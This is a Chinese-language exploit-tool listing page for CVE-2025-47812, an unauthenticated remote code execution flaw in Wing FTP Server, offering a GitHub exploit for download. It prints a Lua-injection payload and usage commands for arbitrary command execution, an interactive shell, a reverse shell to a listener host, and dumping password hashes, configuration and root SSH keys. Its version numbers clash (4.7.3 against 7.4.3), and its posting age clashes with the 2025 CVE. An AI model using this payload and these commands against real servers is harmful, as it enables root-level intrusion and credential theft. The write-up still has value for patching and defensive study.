Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-47812 — WingFTP v4.7.3 的 RCE 漏洞利用 | Kitploit
工具/GitHubGitHub/popyue/cve-2025-47812
漏洞利用Web应用程序漏洞利用渗透测试身份验证远程访问工具Payload 开发
GitHubpopyue/cve-2025-47812

CVE-2025-47812

WingFTP v4.7.3 的 RCE 漏洞利用

查看仓库
26个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-47812 — Wing FTP服务器未授权远程代码执行

root@kitploit:~
 ██╗    ██╗██╗███╗   ██╗ ██████╗     ███████╗████████╗██████╗
 ██║    ██║██║████╗  ██║██╔════╝     ██╔════╝╚══██╔══╝██╔══██╗
 ██║ █╗ ██║██║██╔██╗ ██║██║  ███╗    █████╗     ██║   ██████╔╝
 ██║███╗██║██║██║╚██╗██║██║   ██║    ██╔══╝     ██║   ██╔═══╝
 ╚███╔███╔╝██║██║ ╚████║╚██████╔╝    ██║        ██║   ██║
  ╚══╝╚══╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝     ╚═╝        ╚═╝   ╚═╝

概述

字段详情
CVECVE-2025-47812
受影响版本Wing FTP Server <= 7.4.3
修复版本Wing FTP Server 7.4.4
CVSS评分10.0 (严重)
认证要求无 (匿名登录即足够)
获得的权限root (Linux) / NT AUTHORITY\SYSTEM (Windows)
发现者Julien Ahrens (@MrTuxracer) — rcesecurity.com

漏洞描述

Wing FTP Server的Web界面存在一个两阶段的预认证远程代码执行漏洞。

阶段1 — NULL字节认证绕过 + Lua代码注入

Wing FTP二进制文件中的c_CheckUser()函数内部使用了strlen(),该函数会在第一个NULL字节(\x00)处截断用户名字符串。这意味着只要anonymous(或任何有效用户)存在,像anonymous%00<任意数据>这样的用户名就能通过认证。

认证成功后,loginok.html会使用完整且未清理的POST参数(包括NULL字节后的所有内容)调用rawset(_SESSION, "username", username)。随后,会话通过SessionModule.save()序列化到磁盘上的一个Lua脚本文件中。

由于序列化函数将字符串值包装在[[...]] Lua长字符串字面量中,且没有进行任何清理,因此在用户名中注入]]会提前终止字符串字面量,从而允许将任意Lua代码附加到会话文件中。

Payload结构:

root@kitploit:~
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--

末尾的--用于注释掉Wing FTP在值后追加的]]。

阶段2 — 通过认证端点触发

会话文件(以UID cookie值命名)是一个Lua脚本,当访问任何经过认证的端点时,会通过loadfile() + f()执行该脚本。发送POST /dir.html并带上UID cookie即可执行注入的Lua代码,并在<?xml内容之前将命令输出返回到响应体中。


需求

  • Python 3.10+
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

使用方法

root@kitploit:~
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
                      [--verify-ssl]
                      [--cmd CMD | --shell | --revshell | --dump]
                      [--lhost IP] [--lport PORT] [--listen]
                      target

示例

root@kitploit:~
# 单条命令
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"

# 通过IP指定目标 (Wing FTP使用虚拟主机路由 — 通过--vhost提供主机名)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"

# 交互式伪shell
python3 CVE-2025-47812.py http://ftp.target.com --shell

# 反弹shell (单独启动nc监听)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444

# 带内置监听器的反弹shell
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444

# 转储敏感文件 (/etc/passwd, /etc/shadow, Wing.cfg, root SSH密钥)
python3 CVE-2025-47812.py http://ftp.target.com --dump

# 使用非匿名凭据
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"

修复措施

将Wing FTP Server升级至7.4.4或更高版本。


参考

  • 原始文章:https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-47812
  • 相关漏洞:CVE-2025-47811(服务权限过于宽松)、CVE-2025-47813(超长UID cookie导致路径泄露)

免责声明

本工具仅供教育目的和授权的渗透测试使用。对不属于自己或未获得明确书面许可的系统运行此漏洞利用程序是非法且不道德的。作者不对任何滥用行为承担法律责任。

下载工具